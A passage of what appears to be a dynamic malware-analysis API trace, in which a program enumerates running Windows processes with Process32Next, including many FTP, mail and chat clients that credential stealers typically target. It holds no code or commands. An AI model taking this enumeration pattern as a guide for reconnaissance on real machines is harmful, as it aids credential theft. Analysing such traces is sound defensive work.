hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.384] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.388] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.393] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.397] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.400] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.403] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.406] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.409] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.412] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.416] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.422] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.425] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.428] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.431] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.434] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.437] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.441] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.445] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.449] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.453] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0236.456] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.459] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.462] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0236.465] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0236.468] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0236.471] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0236.474] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0236.477] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0236.482] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0236.485] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.488] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.492] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0236.495] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.498] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.501] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.504] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.507] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.541] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.546] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0236.548] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0236.552] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0236.555] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0236.559] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0236.562] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0236.565] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0236.568] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0236.571] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0236.573] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0236.586] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0236.591] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0236.594] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0236.597] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0236.600] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0236.604] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0236.607] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0236.610] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0236.614] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0236.618] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0236.623] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0236.626] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0236.630] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0236.634] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0236.637] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0236.640] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0236.643] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0236.646] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0236.649] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0236.651] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0236.653] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0236.655] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0236.657] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0236.659] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0236.661] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0236.663] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0236.665] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0236.667] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0236.670] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0236.686] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0236.696] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0236.699] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0236.702] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0236.704] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0236.706] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 